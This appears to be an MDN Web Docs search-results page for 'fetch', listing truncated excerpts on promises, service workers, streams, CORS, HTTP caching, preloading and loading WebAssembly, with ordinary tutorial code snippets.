...ffee.jpg') .then(response => { if (!response.ok) { throw new error(`http error! status: ${response.status}`); } else { return response.blob(); } }) .then(myblob => { let objecturl = url.createobjecturl(myblob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); }) .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); by now, you should have a reasonable understanding of promises and how they work, but let's convert this to use async/await to see how much simpler it makes things: async function myfetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new error(`http error! status: ${response.status}`); } else { let myblob = await response.b...
...And 20 more matches
Using Service Workers - Web APIs
https — service workers are restricted to running across https for security reasons. github is therefore a good place to host experiments, as it supports https. in order to facilitate local development, localhost is considered a secure origin by browsers as well. basic architecture with service workers, the following steps are generally observed for basic set up: the service worker url is fetched and registered via serviceworkercontainer.register(). if successful, the service worker is executed in a serviceworkerglobalscope; this is basically a special kind of worker context, running off the main script execution thread, with no dom access. the service worker is now ready to process events. installation of the worker is attempted when service worker-controlled pages are accessed subs...
... we could try to work around this using .complete, but it’s still not foolproof, and what about multiple images? and, ummm, it’s still synchronous, so blocks the main thread. instead, we could build our own promise to handle this kind of case. (see our promises test example for the source code, or look at it running live.) note: a real service worker implementation would use caching and onfetch rather than the xmlhttprequest api. those features are not used here so that you can focus on understanding promises. const imgload = (url) => { return new promise((resolve, reject) => { var request = new xmlhttprequest(); request.open('get', url); request.responsetype = 'blob'; request.onload = () => { if (request.status == 200) { resolve(request.response); ...
...n.) note: localstorage works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers. note: indexeddb can be used inside a service worker for data storage if you require it. custom responses to requests now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. ...
...And 15 more matches
Introducing asynchronous JavaScript - Learn web development
ry it for yourself: <button>click me</button> note: it is important to remember that alert(), while being very useful for demonstrating a synchronous blocking operation, is terrible for use in real world applications. asynchronous javascript for reasons illustrated earlier (e.g. related to blocking), many web api features now use asynchronous code to run, especially those that access or fetch some kind of resource from an external device, such as fetching a file from the network, accessing a database and returning data from it, accessing a video stream from a web cam, or broadcasting the display to a vr headset. why is this difficult to get to work using synchronous code? let's look at a quick example. when you fetch an image from a server, you can't return the result immediately. th...
...from the network, accessing a database and returning data from it, accessing a video stream from a web cam, or broadcasting the display to a vr headset. why is this difficult to get to work using synchronous code? let's look at a quick example. when you fetch an image from a server, you can't return the result immediately. that means that the following (pseudocode) wouldn't work: let response = fetch('myimage.png'); let blob = response.blob(); // display your image blob in the ui somehow that's because you don't know how long the image will take to download, so when you come to run the second line it will throw an error (possibly intermittently, possibly every time) because the response is not yet available. instead, you need your code to wait until the response is returned before it tries t...
...mage.src = objecturl; document.body.appendchild(image); } loadasset('coffee.jpg', 'blob', displayimage); here we create a displayimage() function that simply represents a blob passed to it as an object url, then creates an image to display the url in, appending it to the document's <body>. however, we then create a loadasset() function that takes a callback as a parameter, along with a url to fetch and a content type. it uses xmlhttprequest (often abbreviated to "xhr") to fetch the resource at the given url, then pass the response to the callback to do something with. in this case the callback is waiting on the xhr call to finish downloading the resource (using the onload event handler) before it passes it to the callback. callbacks are versatile — not only do they allow you to control t...
...And 12 more matches
Using readable streams - Web APIs
note: this article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information on writable streams try using writable streams instead. browser support you can consume fetch body objects as streams and create your own custom readable streams in firefox 65+ and chrome 42+ (and equivalent chromium-based browsers). pipe chains are only supported in chrome at the moment, and that functionality is subject to change. finding some examples we will look at various examples in this article, taken from our dom-examples/streams repo. you can find the full source code there, a...
...ustom readable streams in firefox 65+ and chrome 42+ (and equivalent chromium-based browsers). pipe chains are only supported in chrome at the moment, and that functionality is subject to change. finding some examples we will look at various examples in this article, taken from our dom-examples/streams repo. you can find the full source code there, as well as links to the examples. consuming a fetch as a stream the fetch api allows you to fetch resources across the network, providing a modern alternative to xhr. it has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream. the body mixin now includes the body property, which is a simple getter exposing the body contents as a readable stream...
...rty, which is a simple getter exposing the body contents as a readable stream. this mixin is implemented by both the request and response interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious. ...
...And 12 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
t only text but also embedded images, video, audio, and interactive code. 48 cors glossary, infrastructure, security cors (cross-origin resource sharing) is a system, consisting of transmitting http headers, that determines whether browsers block frontend javascript code from accessing responses for cross-origin requests. 49 cors-safelisted request header cors, fetch a cors-safelisted request header is one of the following http headers: 50 cors-safelisted response header cors, fetch, glossary, http a cors-safelisted response header is an http header which has been safelisted so that it will not be filtered when responses are processed by cors, since they're considered safe (as the headers listed in access-control-expose-headers). ...
...ripting, glossary, javascript a falsy (sometimes written falsey) value is a value that is considered false when encountered in a boolean context. 142 favicon glossary, intro, favicon, user agent a favicon (favorite icon) is a tiny icon included along with a website, which is displayed in places like the browser's address bar, page tabs and bookmarks menu. ...
...imes written falsey) value is a value that is considered false when encountered in a boolean context. 142 favicon glossary, intro, favicon, user agent a favicon (favorite icon) is a tiny icon included along with a website, which is displayed in places like the browser's address bar, page tabs and bookmarks menu. ...
...And 11 more matches
ExtendableEvent - Web APIs
if waituntil() is called outside of the extendableevent handler, the browser should throw an invalidstateerror; note also that multiple calls will stack up, and the resulting promises will be added to the list of extend lifetime promises. ...
...ement any specific properties, but inherits properties from its parent, event. methods inherits methods from its parent, event. extendableevent.waituntil() extends the lifetime of the event. it is intended to be called in the install eventhandler for the installing worker and on the activate eventhandler for the active worker. examples this code snippet is from the service worker prefetch sample (see prefetch example live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall, delaying treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully. the promise resolves when all resources have been fetched and cached, or else when any exception occurs. the code snippet also shows a best practice for ...
...ice worker. though there's only one cache in this example, the same approach can be used for multiple caches. it maps a shorthand identifier for a cache to a specific, versioned cache name. note: in chrome, logging statements are visible via the "inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals. ...
...And 11 more matches
InstallEvent - Web APIs
this interface inherits from the extendableevent interface. ...
...5dd; pointer-events: all;} constructor installevent.installevent() creates a new installevent object. properties inherits properties from its ancestor, event. installevent.activeworker read only returns the serviceworker that is currently controlling the page. methods inherits methods from its parent, extendableevent. examples this code snippet is from the service worker prefetch sample (see prefetch running live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall and delays treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully. the promise resolves when all resources have been fetched and cached, or when any exception occurs. the code snippet also shows a best practice for vers...
... worker. although this example has only one cache, you can use this approach for multiple caches. the code maps a shorthand identifier for a cache to a specific, versioned cache name. note: logging statements are visible in google chrome via the "inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals. ...
...And 11 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
Web › HTML › Attributes › rel
te alternate representations of the current document. link link not allowed author author of the current document or article. link link not allowed bookmark permalink for the nearest ancestor section. not allowed link not allowed canonical preferred url for the current document. link not allowed not allowed dns-prefetch tells the browser to preemptively perform dns resolution for the target resource's origin external resource not allowed not allowed external referenced document is not part of the same site as the current document. not allowed annotation annotation help link to context-sensitive help. link link link icon icon representing the curre...
...icon representing the current document. external resource not allowed not allowed license indicates that the main content of the current document is covered by the copyright license described by the referenced document. link link link manifest web app manifest link not allowed not allowed modulepreload tells to browser to preemptively fetch the script and store it in the document's module map for later evaluation. optionally, the module's dependencies can be fetched as well. external resource not allowed not allowed next indicates that the current document is a part of a series, and that the next document in the series is the referenced document. link link link nofollow indicates that the cu...
... attribute value). not allowed annotation annotation pingback gives the address of the pingback server that handles pingbacks to the current document. external resource not allowed not allowed preconnect specifies that the user agent should preemptively connect to the target resource's origin. ...
...And 10 more matches
Third-party APIs - Learn web development
. '; replace the existing api key with the actual api key you got in the previous section. add the following line to your javascript, below the "// event listeners to control the functionality" comment. this runs a function called submitsearch() when the form is submitted (the button is pressed). ...
...owing line to your javascript, below the "// event listeners to control the functionality" comment. this runs a function called submitsearch() when the form is submitted (the button is pressed). ...
..., below the "// event listeners to control the functionality" comment. this runs a function called submitsearch() when the form is submitted (the button is pressed). ...
...And 9 more matches
Handling common JavaScript problems - Learn web development
, heroes is undefined", and the referenced line number is 49. if we look at the source code, the relevant code section is this: function showheroes(jsonobj) { let heroes = jsonobj['members']; for(i = 0; i < heroes.length; i++) { ... so the code falls over as soon as we try to access a property of jsonobj (which as you might expect, is supposed to be a json object). this is supposed to be fetched from an external .json file using the following xmlhttprequest call: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails. the console api you may already know w...
...rs. some of these are syntactic sugar (basically an easier, nicer way of writing what you can already do using existing features), and some offer interesting new possibilities. for example: promises are a great new feature for performing asynchronous operations and making sure those operations are complete before code that relies on their results is used for something else. as an example, the fetch api (a modern equivalent to xmlhttprequest) uses promises to fetch resources across the network and make sure that the response has been returned before they are used (for example, displaying an image inside an <img> element). they are not supported in ie at all but are supported across all modern browsers. arrow functions provide a shorter, more convenient syntax for writing anonymous functions...
...or example, you might use a polyfill like es6-promise to make promises work in browsers where they are not supported natively. modernizr's list of html5 cross browser polyfills is a useful place to find polyfills for different purposes. again, you should research them before you use them — make sure they work and are maintained. ...
...And 9 more matches
Loading and running WebAssembly code - WebAssembly
to use webassembly in javascript, you first need to pull your module into memory before compilation/instantiation. this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it. what are the options? webassembly is not yet integrated with <script type='module'> or es2015 import statements, thus there is not a path to have the browser fetch modules for you using imports. the older webassembly.compile/webassembly.instantiate methods require you to create an arraybuffer containing your webassembly module binary after fetching the raw bytes, and then compile/instantiate it. this is analogous to new function(string), except that we are substituting a string of characters (javascript source code) wi...
...n array buffer of bytes (webassembly source code). the newer webassembly.compilestreaming/webassembly.instantiatestreaming methods are a lot more efficient — they perform their actions directly on the raw stream of bytes coming from the network, cutting out the need for the arraybuffer step. so how do we get those bytes into an array buffer and compiled? the following sections explain. ...
... buffer of bytes (webassembly source code). the newer webassembly.compilestreaming/webassembly.instantiatestreaming methods are a lot more efficient — they perform their actions directly on the raw stream of bytes coming from the network, cutting out the need for the arraybuffer step. so how do we get those bytes into an array buffer and compiled? the following sections explain. ...
...And 9 more matches
Client-side storage - Learn web development
ds the videos in the database and gets them from there instead before displaying them — this makes subsequent loads much quicker and less bandwidth-hungry. let's walk through the most interesting parts of the example. we won't look at it all — a lot of it is similar to the previous example, and the code is well-commented. for this simple example, we've stored the names of the videos to fetch in an array of objects: const videos = [ { 'name' : 'crystal' }, { 'name' : 'elf' }, { 'name' : 'frog' }, { 'name' : 'monster' }, { 'name' : 'pig' }, { 'name' : 'rabbit' } ]; to start with, once the database is successfully opened we run an init() function. this loops through the different video names, trying to load a record identified by each name from the videos database. ...
... load a record identified by each name from the videos database. if each video is found in the database (easily checked by seeing whether request.result evaluates to true — if the record is not present, it will be undefined), its video files (stored as blobs) and the video name are passed straight to the displayvideo() function to place them in the ui. if not, the video name is passed to the fetchvideofromnetwork() function to ... you guessed it — fetch the video from the network. function init() { // loop through the video names one by one for(let i = 0; i < videos.length; i++) { // open transaction, get object store, and get() each video by name let objectstore = db.transaction('videos_os').objectstore('videos_os'); let request = objectstore.get(videos[i].name); ...
...we then use the body.blob() method to extract each response's body as a blob, giving us an object representation of the...
...And 8 more matches
ServiceWorkerGlobalScope - Web APIs
serviceworker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state. once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. an active service worker is automatically restarted to respond to events, such as serviceworkerglobalscope.onfetch or serviceworkerglobalscope.onmessage. additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the fetch() method, can be used. this interface inherits from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties from windowtimers, windowbase64, and windoweventhandlers. ...
...ins the cachestorage object associated with the service worker. events activate occurs when a serviceworkerregistration acquires a new serviceworkerregistration.active worker. also available via the serviceworkerglobalscope.onactivate property. contentdelete occurs when an item is removed from the content index. also available via the serviceworkerglobalscope.oncontentdelete property. fetch occurs when a fetch() is called. also available via the serviceworkerglobalscope.onfetch property. install occurs when a serviceworkerregistration acquires a new serviceworkerregistration.installing worker. also available via the serviceworkerglobalscope.oninstall property. message occurs when incoming messages are received. controlled pages can use the messageport.postmessage() method to ...
...erviceworkerglobalscope.onsync property. methods serviceworkerglobalscope.skipwaiting() allows the current service worker registration to progress from waiting to active state while service worker clients are using it. serviceworkerglobalscope implements workerglobalscope — which implements windoworworkerglobalscope. ...
...And 8 more matches
HTTP Index - HTTP
Web › HTTP › Index
lient-server protocols, like http, sessions consist of three phases: 3 an overview of http html, http, overview, webmechanics, l10n:priority http isthe foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser. a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more 4 basics of http guide, http, overview http is a pretty extensible protocol. it relies on a few basic concepts like the notion of resources and uris, a simple structure of messages, and a client-server structure for the communication flow. on top of these basic concepts, numerous extensions have appea...
...yer of protection above and beyond the same-origin policy which can mitigate speculative side channel attacks as well as cross-site script inclusion attacks. cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to prevent some cross-origin reads by default. 20 cross-origin resource sharing (cors) ajax, cors, cross-origin resource sharing, fetch, fetch api, http, http access controls, same-origin policy, security, xmlhttprequest, l10n:priority cross-origin resource sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin. 21 cors errors cors, errors, http, https, messages, same-origin, securit...
...rol and authentication. the most common http authentication is based on the "basic" schema. this page shows an introduction to the http framework for authentication and shows how to restrict access to your server using the http "basic" schema. 43 http caching caching, guide, http the performance of web sites and applications can be significantly improved by reusing previously fetched resources. web caches reduce latency and network traffic and thus lessen the time needed to display a representation of a resource. by making use of http caching, web sites become more responsive. 44 http conditional requests conditional requests, guide, http http has a concept of conditional requests, where the result, and even the success of a request, can be changed by c...
...And 8 more matches
Choosing the right approach - Learn web development
rations and wait until it is definitely complete before running another operation based on its result. promises are the backbone of modern asynchronous javascript. useful for... ...
...kbone of modern asynchronous javascript. useful for... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no no yes see promise.all(), below code example the following code fetches an image from the server and displays it inside an <img> element; see it live also, and see also the source code: fetch('coffee.jpg') .then(response => response.blob()) .then(myblob => { let objecturl = url.createobjecturl(myblob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); }) .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); pitfalls promise chains can be complex and hard to parse. if you nest a n...
... promise.all() a javascript feature that allows you to wait for multiple promises to complete before then running a further operation based on the results of all the other promises. useful for... ...
...And 7 more matches
Cache - Web APIs
Web › API › Cache
st, options) returns a promise that resolves to the response associated with the first matching request in the cache object. cache.matchall(request, options) returns a promise that resolves to an array of all matching requests in the cache object. cache.add(request) takes a url, retrieves it and adds the resulting response object to the given cache. this is functionally equivalent to calling fetch(), then using put() to add the results to the cache. cache.addall(requests) takes an array of urls, retrieves them, and adds the resulting response objects to the given cache. cache.put(request, response) takes both a request and its response and adds it to the given cache. cache.delete(request, options) finds the cache entry whose key is the request, returning a promise that resolves to tr...
...n array of cache keys. examples this code snippet is from the service worker selective caching sample. (see selective caching live) the code uses cachestorage.open() to open any cache objects with a content-type header that starts with font/. the code then uses cache.match() to see if there's already a matching font in the cache, and if so, returns it. if there isn't a matching font, the code fetches the font from the network and uses cache.put() to cache the fetched resource. the code handles exceptions thrown from the fetch() operation. note that an http error response (e.g., 404) will not trigger an exception. it will return a normal response object that has the appropriate error code. the code snippet also shows a best practice for versioning caches used by the service worker. though ...
... promise.all( cachenames.map(function(cachename) { if (!expectedcachenamesset.has(cachename)) { // if this cache name isn't present in the set of "expected" cache names, then delete it. console.log('deleting out of date cache:', cachename); return caches.delete(cachename); } }) ); }) ); }); self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.url); event.respondwith( caches.open(current_caches.font).then(function(cache) { return cache.match(event.request).then(function(response) { if (response) { // if there is an entry in the cache for event.request, then response will be defined // and we can just return it. note that...
...And 7 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request url). activation there is also an activate event, which is used in the same way as install. this event is usually used to delete any files that are no longer necessary and clean up after the app in general. we don't need to do that in our app, so we'll skip it. ...
...files our app uses to the cache, so they are available next time it loads (identified by request url). activation there is also an activate event, which is used in the same way as install. this event is usually used to delete any files that are no longer necessary and clean up after the app in general. we don't need to do that in our app, so we'll skip it. ...
...ger necessary and clean up after the app in general. we don't need to do that in our app, so we'll skip it. responding to fetches we also have a fetch event at our disposal, which fires every time an http request is fired off from our app. this is very useful, as it allows us to intercept requests and respond to them with custom responses. here is a simple usage example: self.addeventlistener('fetch', (e) => { console.log('[service worker] fetched resource '+e.request.url); }); the response can be anything we want: the requested file, its cached copy, or a piece of javascript code that will do something specific — the possibilities are endless. in our example app, we serve content from the cache instead of the network as long as the resource is actually in the cache. we do this wheth...
...And 7 more matches
Request() - Web APIs
Web › API › Request › Request
a request object, effectively creating a copy. note the following behavioural updates to retain security while making the constructor less likely to throw exceptions: if this object exists on another origin to the constructor call, the request.referrer is stripped out. ...
...referrer, client, or a url. the default is about:client. integrity: contains the subresource integrity value of the request (e.g., sha256-bpfbw7ivv8q2jlit13fxdyae2tjllusrsz273h2nfse=). errors type description typeerror since firefox 43, request() will throw a typeerror if the url has credentials, such as http://user:password@example.com. example in our fetch request example (see fetch request live) we create a new request object using the constructor, then fetch it using a globalfetch.fetch call. since we are fetching an image, we run body.blob on the response to give it the proper mime type so it will be handled properly, then create an object url of it and display it in an <img> element. var myimage = document.queryselector('img'); var myrequest ...
...uest live) we create a new request object using the constructor, then fetch it using a globalfetch.fetch call. since we are fetching an image, we run body.blob on the response to give it the proper mime type so it will be handled properly, then create an object url of it and display it in an <img> element. ...
...And 6 more matches
Request.cache - Web APIs
Web › API › Request › cache
e browser will make a conditional request to the remote server. if the server indicates that the resource has not changed, it will be returned from the cache. otherwise the resource will be downloaded from the server and the cache will be updated. if there is no match, the browser will make a normal request, and will update the cache with the downloaded resource. no-store — the browser fetches the resource from the remote server without first looking in the cache, and will not update the cache with the downloaded resource. reload — the browser fetches the resource from the remote server without first looking in the cache, but then will update the cache with the downloaded resource. no-cache — the browser looks for a matching request in its http cache. if there is a match,...
... if there is no match, the browser will respond with a 504 gateway timeout status. the "only-if-cached" mode can only be used if the request's mode is "same-origin". cached redirects will be followed if the request's redirect property is "follow" and the redirects do not violate the "same-origin" mode. example // download a resource with cache busting, to bypass the cache // completely. ...
...wed if the request's redirect property is "follow" and the redirects do not violate the "same-origin" mode. example // download a resource with cache busting, to bypass the cache // completely. fetch("some.json", {cache: "no-store"}) .then(function(response) { /* consume the response */ }); // download a resource with cache busting, but update the http // cache with the downloaded resource. ...
...And 6 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
Web › HTTP › CORS
en it requests a resource that has a different origin (domain, protocol, or port) from its own. an example of a cross-origin request: the front-end javascript code served from https://domain-a.com uses xmlhttprequest to make a request for https://domain-b.com/data.json. for security reasons, browsers restrict cross-origin http requests initiated from scripts. for example, xmlhttprequest and the fetch api follow the same-origin policy. this means that a web application using those apis can only request resources from the same origin the application was loaded from unless the response from other origins includes the right cors headers. the cors mechanism supports secure cross-origin requests and data transfers between browsers and servers. modern browsers use cors in apis such as xmlhttprequ...
...llow the same-origin policy. this means that a web application using those apis can only request resources from the same origin the application was loaded from unless the response from other origins includes the right cors headers. the cors mechanism supports secure cross-origin requests and data transfers between browsers and servers. modern browsers use cors in apis such as xmlhttprequest or fetch to mitigate the risks of cross-origin http requests. who should read this article? everyone, really. more specifically, this article is for web administrators, server developers, and front-end developers. modern browsers handle the client side of cross-origin sharing, including headers and policy enforcement. but the cors standard means servers have to handle new request and response headers. ...
...s and policy enforcement. but the cors standard means servers have to handle new request and response headers. another article for server developers discussing cross-origin sharing from a server perspective (with php code snippets) is supplementary reading. what requests use cors? this cross-origin sharing standard can enable cross-site http requests for: invocations of the xmlhttprequest or fetch apis, as discussed above. web fonts (for cross-domain font usage in @font-face within css), so that servers can deploy truetype fonts that can only be cross-site loaded and used by web sites that are permitted to do so. webgl textures. images/video frames drawn to a canvas using drawimage(). css shapes from images. this article is a general discussion of cross-origin resource sharing and in...
...And 6 more matches
Using the WebAssembly JavaScript API - WebAssembly
ing() and webassembly.instantiatestreaming() methods. these methods are easier than their non-streaming counterparts, because they can turn the byte code directly into module/instance instances, cutting out the need to separately put the response into an arraybuffer. ...
... the response into an arraybuffer. this example (see our instantiate-streaming.html demo on github, and view it live also) shows how to use instantiatestreaming() to fetch a wasm module, import a javascript function into it, compile and instantiate it, and access its exported function — all in one step. add the following to your script, below the first block: webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); the net result of this is that we call our exported webassembly function exported_func, which in turn calls our imported javascript function imported_func, which logs the value provided inside the webassembly instance (42) to the console. if you save your example code now and load it a browser that supports webasse...
...e without streaming if you can't or don't want to use the streaming methods as described above, you can use the non-streaming methods webassembly.compile / webassembly.instantiate instead. these methods don't directly access the byte code, so require an extra step to turn the response into an arraybuffer before compiling/instantiating the wasm module. the equivalent code would look like this: fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.instantiate(bytes, importobject) ).then(results => { results.instance.exports.exported_func(); }); viewing wasm in developer tools in firefox 54+, the developer tool debugger panel has functionality to expose the text representation of any wasm code included in a web page. to view it, you can go to the debu...
...And 6 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
crotasks can be used to ensure that the ordering of execution is always consistent is when promises are used in one clause of an if...else statement (or other conditional statement), but not in the other clause. ...
..."load")); }); } }; the problem introduced here is that by using a task in one branch of the if...else statement (in the case in which the image is available in the cache) but having promises involved in the else clause, we have a situation in which the order of operations can vary; for example, as seen below. ...
...that by using a task in one branch of the if...else statement (in the case in which the image is available in the cache) but having promises involved in the else clause, we have a situation in which the order of operations can vary; for example, as seen below. ...
...And 5 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
Web › HTML › Element › link
ance and security features have been added to the <link> element too. take this example: <link rel="preload" href="myfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> a rel value of preload indicates that the browser should preload this resource (see preloading content with rel="preload" for more details), with the as attribute indicating the specific class of content being fetched. the crossorigin attribute indicates whether the resource should be fetched with a cors request. other usage notes: a <link> element can occur either in the <head> or <body> element, depending on whether it has a link type that is body-ok. for example, the stylesheet link type is body-ok, and therefore <link rel="stylesheet"> is permitted in the body. however, this isn't a good practice to ...
...ations define event handlers for the <link> element, but it is unclear how they would be used. under xhtml 1.0, empty elements such as <link> require a trailing slash: <link />. webtv supports the use of the value next for rel to preload the next page in a document series. attributes this element includes the global attributes. as this attribute is only used when rel="preload" or rel="prefetch" has been set on the <link> element. it specifies the type of content being loaded by the <link>, which is necessary for request matching, application of correct content security policy, and setting of correct accept request header. furthermore, rel="preload" uses this as a signal for request prioritization. the table below lists the valid values for this attribute and the elements or resources t...
...f correct accept request header. furthermore, rel="preload" uses this as a signal for request prioritization. the table below lists the valid values for this attribute and the elements or resources they apply to. value applies to audio <audio> elements document <iframe> and <frame> elements embed <embed> elements fetch fetch, xhr this value also requires <link> to contain the crossorigin attribute. font css @font-face image <img> and <picture> elements with srcset or imageset attributes, svg <image> elements, css *-image rules object <object> elements script <script> elements, worker importscripts style ...
...And 5 more matches
HTML documentation index - HTML: Hypertext Markup Language
Web › HTML › Index
clude user and environment. 39 html attribute: crossorigin advanced, attribute, cors, html, needscontent, reference, security the crossorigin attribute, valid on the <audio>, <img>, <link>, <script>, and <video> elements, provides support for cors, defining how the element handles crossorigin requests, thereby enabling the configuration of the cors requests for the element's fetched data. depending on the element, the attribute can be a cors settings attribute. 40 html attribute: max attribute, attributes, constraint validation, html, reference the max attribute defines the maximum value that is acceptable and valid for the input containing the attribute. if the value of the element is greater than this, the element fails constraint validation. this va...
... elements are those which only occupy the space bounded by the tags defining the element, instead of breaking the flow of the content. 223 link types attribute, html, link, link types, reference in html, link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, <form>, or <link> element. 224 link types: dns-prefetch attribute, html, link, link types, reference the dns-prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing dns resolution for that origin. 225 link types: manifest app, attribu...
... app, attribute, html, link, link types, manifest, reference the manifest keyword for the rel attribute of the <link> element indicates that the target resource is a web app manifest. 226 link types: modulepreload attribute, html, link, link types, reference the modulepreload keyword for the rel attribute of the <link> element provides a declarative way to preemptively fetch a module script and its dependencies, and store them in the document's module map for later evaluation. 227 link types: noopener attribute, html, link types, reference the noopener keyword for the rel attribute of the <a>, <area>, and <form> elements instructs the browser to navigate to the target resource without granting the new browsing context access to the document that ...
...And 5 more matches
Navigation and resource timings - Web Performance
eprecated but supported in all browsers. it has been replaced with the performancenavigationtiming api. the performance timing api provided read only times, in milliseconds(ms), describing at what time each point in the page loading process was reached. as displayed in the image below, the navigation process goes from navigationstart, unloadeventstart, unloadeventend, redirectstart, redirectend, fetchstart, domainlookupstart, domainlookupend, connectstart , connectend, secureconnectionstart, requeststart, responsestart, responseend, domloading, dominteractive, domcontentloadedeventstart, domcontentloadedeventend, domcomplete, loadeventstart, and loadeventend. with the metrics above, and a little bit of math, we can calculate many important metrics like time to first byte, page load time, dn...
... app's timing we enter: let time = window.performance.timing we can then use the results to measure how well our app is performing. the order is: performance timings details navigationstart when the prompt for unload terminates on the previous document in the same browsing context. if there is no previous document, this value will be the same as performancetiming.fetchstart. secureconnectionstart when the secure connection handshake starts. if no such connection is requested, it returns 0. redirectstart when the first http redirect starts. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. redirectend when the last http redirect is completed, that is when the last byte...
.... if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. connectend when the connection is opened network. if the transport layer reports an error and the connection establishment is started again, the last connection establishment end time is given. if a persistent connection is used, the value will be the same as performancetiming.fetchstart. a connection is considered as opened when all secure connection handshake, or socks authentication, is terminated. connectstart when the request to open a connection is sent to the network. if the transport layer reports an error and the connection establishment is started again, the last connection establishment start time is given. if a persistent connection is used, the value...
...And 5 more matches
mozIAsyncFavicons
e a new service. simply queryinterface() the nsifaviconservice to this interface. as an alternative, you can just use placesutils.favicons from javascript. ...
...id getfaviconurlforpage( in nsiuri apageuri, in nsifavicondatacallback acallback ); parameters apageuri uri of the page whose favicon uri and data we're looking up. acallback this callback is always invoked to notify the result of the lookup. ...
...result of the lookup. the auri parameter will be the favicon uri, or null when no favicon is associated with the page or an error occurred while fetching it. if auri is not null, the other parameters may contain the favicon data. however, if no favicon data is currently associated with the favicon uri, adatalen will be 0, adata will be an empty array, and amimetype will be an empty string. setandfetchfaviconforpage() declares that a given page uses a favicon with the given uri and attempts to fetch and save the icon data by loading the favicon uri through a asynchronous network request. if the icon data already exists, we will not try to reload the icon unless aforcereload is true. similarly, if the icon is in the failed favicon cache we will not do anything unless aforcereload is true, in whi...
...And 4 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
this ensures they are available earlier and are less likely to block the page's render, improving performance. this article provides a basic guide to how <link rel="preload"> works. the basics you most commonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want. ...
...ecurity policy to the resource. set the correct accept request headers for it. what types of content can be preloaded? many different content types can be preloaded. the possible as attribute values are: audio: audio file, as typically used in <audio>. document: an html document intended to be embedded by a <frame> or <iframe>. embed: a resource to be embedded inside an <embed> element. fetch: resource to be accessed by a fetch or xhr request, such as an arraybuffer or json file. font: font file. image: image file. object: a resource to be embedded inside an <object> element. script: javascript file. style: css stylesheet. track: webvtt file. worker: a javascript web worker or shared worker. video: video file, as typically used in <video>. note: there's more detail about th...
... javascript file. style: css stylesheet. track: webvtt file. worker: a javascript web worker or shared worker. video: video file, as typically used in <video>. note: there's more detail about these values and the web features they expect to be consumed by in the preload spec — see link element extensions. also note that the full list of values the as attribute can take is governed by the fetch spec — see request destinations. including a mime type <link> elements can accept a type attribute, which contains the mime type of the resource the element points to. this is especially useful when preloading resources — the browser will use the type attribute value to work out if it supports that resource, and will only download it if so, ignoring it if not. you can see an example of th...
...And 4 more matches
Understanding WebAssembly text format - WebAssembly
esult i32) local.get $lhs local.get $rhs i32.add) (export "add" (func $add)) ) if you want to follow along with the example, save the above our module into a file called add.wat, then convert it into a binary file called add.wasm using wabt (see converting webassembly text format to wasm for details). next, we’ll load our binary into a typed array called addcode (as described in fetching webassembly bytecode), compile and instantiate it, and execute our add function in javascript (we can now find add() in the exports property of the instance): webassembly.instantiatestreaming(fetch('add.wasm')) .then(obj => { console.log(obj.instance.exports.add(1, 2)); // "3" }); note: you can find this example in github as add.html (see it live also). also see webassembly.instant...
...laring that we want to export this function, and defining the name we want to export it as. ...
